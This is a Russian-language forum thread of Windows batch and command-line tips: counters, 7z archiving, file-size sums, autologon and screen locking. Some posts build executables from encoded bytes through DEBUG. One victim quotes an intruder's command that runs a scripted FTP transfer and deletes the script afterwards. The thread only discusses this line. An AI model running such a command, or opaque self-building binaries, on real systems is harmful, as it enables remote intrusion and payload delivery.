Перейти к содержанию
СофтФорум - всё о компьютерах и не только

Управление из командной строки


Рекомендуемые сообщения

CreatoR:

Странно, у меня ping работает нормально. К сожалению, другой команды в Windows XP со встроенной задержкой выполнения я не помню, вероятно, ее и нет. Явное упущение разработчиков, которое они, правда, вроде бы исправили в Windows 2003 (команда timeout). Но можно написать на обычном языке утилитку для задержки или взять готовую, например, тут или тут (разные, но используются одинаково, для задержки на 5 с: sleep 5).

Ссылка на комментарий
Поделиться на другие сайты

  • 3 месяца спустя...
  • Ответов 589
  • Создана
  • Последний ответ

Топ авторов темы

не подскажете, почему из файла в переменную не читается.

чего же я неправильно сделал?

set  VARCOUNT=0 set /a VARCOUNT < count.txt  echo %VARCOUNT%   set /a VARCOUNT=VARCOUNT + 1 echo %VARCOUNT% > count.txt 
Ссылка на комментарий
Поделиться на другие сайты

Daddy Karlo:

Неправильно сделаН ввод из файла в переменную. Команда set вовсе не ждет ввода с клавиатуры, а именно этот ввод подменялся бы вводом из файла по значку <.

Вместо set /a VARCOUNT < count.txt поставь

for /f %%i in (count.txt) do set VARCOUNT=%%i

и все заработает, если, конечно, файл count.txt первоначально был пустой или внутри было записано число.

Ссылка на комментарий
Поделиться на другие сайты

  • 3 недели спустя...

Привет всем! С новым годом с новым счастьем поздравляю всех! rolleyes.gif

Вобщем, давно я уже не прибигал к помощи по ком. строке (AutoIt'ом увлёкся :D ), но вот есть одна задачка, которую никак не могу решить :D ...

Есть известный архиватор - 7z, и нужно с его помощью, поместить в архив определённые файлы по списку (из текстового файла). Но, не в корневой каталог архива, а в определённую папку. Примерно так:

7z a -tzip "archive.zip\FolderName" @List.txt -o"%temp%" -mx=9

Где \FolderName, это естественно ошибка, но думаю суть ясна, нужно чтобы в результате все файлы из списка поместились в определённую папку архива.

P.S

Копирование файлов во временный каталог не подходит (не должно быть лишней задержки).

Очень очень нужно! плиз помогите кто знает...

Ссылка на комментарий
Поделиться на другие сайты

Daddy Karlo:

Неправильно сделаН ввод из файла в переменную. Команда set вовсе не ждет ввода с клавиатуры, а именно этот ввод подменялся бы вводом из файла по значку <.

Вместо set /a VARCOUNT < count.txt поставь

for /f %%i in (count.txt) do set VARCOUNT=%%i

и все заработает, если, конечно, файл count.txt первоначально был пустой или внутри было записано число.

спасибо

я так замутил. наличие или содержание файла не имеют значения.

set  VARCOUNT=0 set /p VARCOUNT =< count.txt  echo %VARCOUNT%   set /a VARCOUNT=VARCOUNT + 1 echo %VARCOUNT% > count.txt
 "archive.zip\FolderName" 

я не поянял как все устройство работаета если удвоить кавычки?

лучше бы иметь хоть какой то работающий код. легче было бы

думать.

Ссылка на комментарий
Поделиться на другие сайты

работаета если удвоить кавычки?

Нет, такая конструкция вовсе не работает, это просто пример для наглядности.

Выдаётся ошибка о том что такой файл не найден.

лучше бы иметь хоть какой то работающий код

он есть :nerd:

7z a -tzip "archive.zip" @List.txt -o"%temp%" -mx=9

Но это добавляет файлы в корневой каталог архива, а нужно во второй уровень (т.е во вложенный каталог).

Ссылка на комментарий
Поделиться на другие сайты

  • 1 месяц спустя...

Тролль:

Не уверен что ты до сих пор следишь за развитием этой темы (которого восе нет), но вот в сети откопал решение которое давно искал -> “Как перенаправить текст в файл без создания пустой строки в конце файла”:

@ECHO OFF> #.SCR ECHO N EHC.COM>>#.SCR ECHO E 0100 BB 80 00 43 80 3F 0D 75 FA C6 07 24 B4 09 BA 82>>#.SCR ECHO E 0110 00 39 DA 7F 02 CD 21 B4 4C CD 21>>#.SCR ECHO RCX>>#.SCR ECHO 001B>>#.SCR ECHO W>>#.SCR ECHO Q>>#.SCR ECHO.DEBUG<#.SCR>NULDEL #.SCRRem записываем в файл без символа перевода строки на конце файла, используя сгенерированную программку ECH.comECH %DATE% >Test.txtECH This is the first line>>Test.txtECH and this is still the first line>>Test.txt

Создаётся программа ECH.com, и с её помощью пишется в файл без символа новой строки (CRLF) на конце - эту утилиту можно потом “закинуть” в системную папку, и использовать вместо стандартного Echo.

Ссылка на комментарий
Поделиться на другие сайты

CreatoR:

Хорошая программка. В Windows со времен DOS есть шестнадцатеричный редактор DEBUG с встроенным ассемблером. Вот он и используется для создания файла с программой по переданным ему кодам машинных команд. Второй вариант был бы написать эту программу на языке ассемблера, и дать команду для DEBUG сделать из этого текста программу. Наверное, сначала так и сделали, а потом использовали шестнадцатиричные коды получившейся программы, чтобы текст для DEBUG был покороче (запись программы на языке ассемблера займет больше места).

Ссылка на комментарий
Поделиться на другие сайты

Тролль:

Привет!

Вот ещё одна асемблеровская программка, которая позволяет производить замену в текстовом файле (чувствительна к регистру букв).

@echo off:: Create the assembler program, by Herbert Kleebauerecho Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=> %temp%.\sbs2.comecho 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU!WvX0GwUY Wv;ovBX2Gv0ExGIuht6>> %temp%.\sbs2.comecho ?@}IKuNWpe~Fpe?FNHlF?wGMECIQqo{Ox{T?kPv@jeoSeIlRFD@{AyEKj@>> %temp%.\sbs2.comecho iqe~1NeAyR?mHAG~BGRgB{~H?o~TsdgCYqe?HR~upkpBG?~slJBCyA?@xA>> %temp%.\sbs2.comecho LZp{xq`Cs?H[C_vHDyB?Hos@QslFA@wQ~~x}viH}`LYNBGyA?@xAB?sUq`>> %temp%.\sbs2.comecho LRy@PwtCYQEuFK@A~BxPtDss@fFqjVmzD@qBEOEenU?`eHHeBCMs?FExep>> %temp%.\sbs2.comecho LHsPBGyA?@xAunjzA}EKNs@CA?wQpQpKLBHv?s`WJ`LRCYyIWMJaejCksl>> %temp%.\sbs2.comecho H[GyFGhHBwHZjjHeoFasuFUJeHeB?OsQH[xeHCPvqFj@oq@eNc?~}Nu??O>> %temp%.\sbs2.comecho ~oEwoAjBKs?Zp`LBzHQzyEFrAWAG{EFrAqAGYwHTECIQ{coKIsaCsf{Oe~>> %temp%.\sbs2.comecho CK}Ayre~CNFA{rAyEKFACrA{EKGAjbA}eKGSjNMtQFtc{OAyDGFj?{FDGQ>> %temp%.\sbs2.comecho KAjNVk_OCAx@e?f{o?CosI}1EGizhljJ~H1ZeG}JBA~rACBMDGjjDG@g0>> %temp%.\sbs2.com:: Use the program%temp%.\sbs2.com 0 "Old String" "New String" < infile > outfile:: Delete the programdel %temp%.\sbs2.com
Изменено пользователем CreatoR
Ссылка на комментарий
Поделиться на другие сайты

Товарищи! Подскажите пожалуйста, какой эффект даст запуск в cmd вот такой строки:

oft >k&echo k&ftp -n -v -s:ik &del ik&x>exe&exit

Что это? Какой смысл тут заложен?

Надеюсь я в правильную тему это написал.

Очень надеюсь на ответ. Очень нужно. Тут кое-кто на моём компе пытался это сотворить. Чувствую что это какая-то гадость :mad:

Ссылка на комментарий
Поделиться на другие сайты

Серж_де_Круасан:

Довольно сумбурный скрипт, не все команды имеют осмысленное назначение. Что-то должна сделать программа с названием oft, затем что-то передается (или пытается передаться) в сеть или из сети, что именно и как - было записано в файле с именем ik, который после выполнения попытки передачи уничтожается.

Ссылка на комментарий
Поделиться на другие сайты

Спасибо за ответ. Я пожалуй поясню как всё это случилось. Вчера во время общения в чате Skype, я вдруг обнаруживаю, что в окне написания текста быстренько пишутся какие-то символы и отправляются моему собеседнику по чату. Увидев это, я просто обалдел. Всё это случилось прямо у меня на глазах. Первая мысль была - клава глюканула. Но вскоре я заподозрил что дело тут нечистое. Попахивает хаком. А символы написались вот такие: сьв щае Юл ?усрщ л ?аез -т -м -ыЖшл ?вуд шл ?чюучу ?учше Я попробовал перевести это в латинскую раскладку, и начало вырисовываться что-то похожее на команды. Про них я и спрашивал тут выше. Я офигел. Правда не понятно почему они впихнулись в Скайп, да ещё в таком виде. И тут совсем вскоре у меня вдруг открывается чёрное окно (cmd), и там начинают печататься опять команды, но уже как надо - латиницей. Тут я 100% чухнул, что комп взломали, что подтверждала чёрная иконка VNC (она чёрнеет когда контроль над компом имеет удалённый юзер). Я срочно его обрубил. Доступ к VNC был запоролен, но они его взломали видимо. Теперь придётся как-то ужесточать всё это дело. А VNC стоит у меня для того, чтобы я мог из дома работать на рабочем компе. Я потом проверил комп на вирусы и прочую нечисть, вроде всё чисто. Надеюсь обошлось. Но вот интересно всё-таки, что они пытались запустить, или запустили, засранцы эти.

Ссылка на комментарий
Поделиться на другие сайты

  • 2 недели спустя...

Как найти сумарный объём определённых файлов? Через батник, автоматизировано. Вручную не катит.

Ссылка на комментарий
Поделиться на другие сайты

Как найти сумарный объём определённых файлов?

Примерно так (не тестировал):

Set FilesMask=C:\*.*Set CountFSize=0For %%a In ("%FilesMask%") Do Set /A CountFSize+=%%~za

P.S

Где задаётся переменная FileMask можно через запятую подставлять и другие файлы.

Изменено пользователем CreatoR
Ссылка на комментарий
Поделиться на другие сайты

Как вывести строку в начало файла?

Создание временного файла, вывод этой строки во временный файл, потом вывод содержимого файла, потом просто затереть тот файл временным (через move) с присвоением нужного имени = НЕ КАТИТ, СЛИШКОМ МНОГО ДЕЙСТВИЙ (это нужно делать автоматизировано на 10000 файлах), так что комп может завернуться.

Есть ли меньше ресурсоёмкая работа по достижению этой цели???

Ссылка на комментарий
Поделиться на другие сайты

skeletor:

Как вывести строку в начало файла?

Т.е просто записать в начало файла любую строку (текст)?

Имхо, не используя сторонние средства, только методом подобный твоему описанию:

@echo offsetlocal enabledelayedexpansion Set line=1Set File=Test.txtSet Text=First LineSet TempFile=%temp%\%Random%~1.tmpSet Counter=1for /f "tokens=*" %%a in (%File%) Do (  If !Counter!==!line! (Echo %Text%>>"%TempFile%") Else (Echo %%a>>"%TempFile%")  Set /A Counter+=!Counter!)Ren "%File%" "%File%.bak"Move "%TempFile%" "%File%"

При желании можно это автоматизировать для многих файлов, и я уверен что ничего не упадёт, раньше только такими методами и автоматизировали работу с файлами.

Ссылка на комментарий
Поделиться на другие сайты

  • 1 месяц спустя...

-А воть такой вопрос: -Можно как-то вставлять в командную строку (в ту что запускается с меню-> выполнить->cmd) текст из буффера обмена? Или даже копировать с неё (с команд. строки). Т.е, скажем, как в блокноте вставка/копирование через ctrl c/ctrl v, чтоб также (подобно) и в/из командную/ой строку/и.

P.S: ИМХО такое невозможно...но вдруг...

Может быть, это уже не актуально, через год, но вдруг... :)

МОЖНО и вставлять текст в командную строку из буфера обмена, и копировать из нее в буфер.

Чтобы вставить текст, нужно кликнуть в верхнем левом углу окна командной строки и выбрать Изменить -> Вставить.

Чтобы выделить текст в окне, нужно в том же меню выбрать Изменить -> Пометить, а когда пометили, Изменить -> Копировать.

Ссылка на комментарий
Поделиться на другие сайты

Здраствуйте. Пишу сюда, т.к. думаю что тема подходящая.

Задача: необходимо сделать так, чтобы при запуске Windows Server 2003 осуществлялся вход под необходимым loginом, далее запускались три .bat - файла с перерывом в 1мин. , после чего рабочий стол блокировался.

Прошу подсказать как это делается (лучше с примером). :doh:

Ссылка на комментарий
Поделиться на другие сайты

Saladin:

Вход в Windows - это дело настройки учетных записей пользователей Windows, с вводом пароля вручную или автоматически для указанного пользователя. как настроишь. А затем - в папке автозагрузки этого пользователя должен быть bat-файл, который будет запускать три других bat-файла с интервалом в одну минуту, после чего блокировка доступа. Например, такой bat-файл:

call batfile1.bat

timeout /t 1 /nobreak

call batfile2.bat

timeout /t 1 /nobreak

call batfile3.bat

rundll32.exe user32.dll, LockWorkStation

Вместо последней строки можно использовать вызов скринсейвера с установленной в его свойствах галочкой выхода по паролю, это будет красивее.

Ссылка на комментарий
Поделиться на другие сайты

Тролль

Сегодя опробую рекомендацию. :surrender:

можно использовать вызов скринсейвера с установленной в его свойствах галочкой выхода по паролю, это будет красивее.

А поподробнее можно?

Ссылка на комментарий
Поделиться на другие сайты

Saladin:

А поподробнее можно?
То есть последнюю строку rundll32.exe ... вообще не пишешь, а вместо этого в окне свойств экрана Windows, где выбираются скринсейверы (заставки), ставишь галочку "Защита паролем" и устанавливаешь время задержки включения скринсейвера, скажем, 4 минуты. После старта Windows через заданное там число минут бездействия клавиатуры и мыши включится скринсейвер. После его включения вернуться к рабочему столу можно в течение 5 с нажатием любой клавиши, а после 5 с нажатие клавиш вызовет только появление окошка запроса пароля пользователя (того же, который был назначен для входа в систему).

Неплохо будет смотреться бесплатный скринсейвер Don't touch my computer :D , но можно и выбрать и любой другой из имеющихся в Windows или поставить какой-нибудь другой "покрасивше". Да, для Don't touch my computer выйти из него можно только клавишей Esc, при парольной защите окошко ввода пароля появится только после нажатия этой клавиши.

P.S. Какой-нибудь пароль должен быть назначен, это не мешает автоматическому входу в Windows. Без пароля и окошко для его ввода не будет появляться.

Изменено пользователем Тролль
Ссылка на комментарий
Поделиться на другие сайты

Тролль

call batfile1.bat

timeout /t 1 /nobreak

call batfile2.bat

timeout /t 1 /nobreak

call batfile3.bat

rundll32.exe user32.dll, LockWorkStation

Что-то это дело не пошло... :)

Проблемы следующие:

1) несмог сделать автовход для учетной записи сетевого админа(вхожу под ней),

стыдно признаться, но не разобрался :D ;

2) закинул созданный по примеру *.bat-ник в автозагрузку, но он не запустил прописанные батники, задержки в 1 мин не было, зато блокирование рабочего стола состоялось.

Как решить первую проблему, и в чем причина второй? ;)

Ссылка на комментарий
Поделиться на другие сайты

Saladin:

Настройка входа в Windows: для Windows 2003 не пробовал, но скорее всего так же, как в Windows XP - из стартового меню пункт Run... (Выполнить...), там вводишь control userpasswords2 и в появившемся окне настраиваешь. Инструкцию, как, писать не буду, на форуме уже несколько раз описывали, легко найти поиском по слову userpasswords2.

С задержкой, прошу прощения, ошибся, надо было дать задержки на 1 минуту, а я дал на 1 секунду. Соответственно надо в команде timeout вместо 1 написать 60.

О незапуске батников: вероятно, основной батник просто не нашел запускаемые, тогда их надо было вписывать с путями к ним. Тем паче что в папке автостартующих программ и ее подпапках запускаемые вторичные батники располагать нельзя, иначе они тоже будут запускаться как автостартующие.

Например, если запускаемые батники находятся в папке C:\bat, то команды их запуска будут выглядеть как call C:\bat\batfile1.bat Если имена в пути будут с пробелами, в команде придется использовать кавычки, поэтому проще использовать такой путь к вторичным батникам, чтобы в именах папок на этом пути не было пробелов.

P.S. Или, еще проще, надо просто поместить запускаемые вторичные батники в папку Windows, имеющуюся на системном диске, тогда основной батник найдет их и без указания путей к ним.

Изменено пользователем Тролль
Ссылка на комментарий
Поделиться на другие сайты

Если поднят домен, то control userpasswords2 не поможет. В таком случае поможет простенькая утилитка Administrator (см. прикреплённый файл).

Administrator.rar

Administrator.rar

Ссылка на комментарий
Поделиться на другие сайты

Гость
Эта тема закрыта для публикации ответов.
  • Последние посетители   0 пользователей онлайн

    • Ни одного зарегистрированного пользователя не просматривает данную страницу



×
×
  • Создать...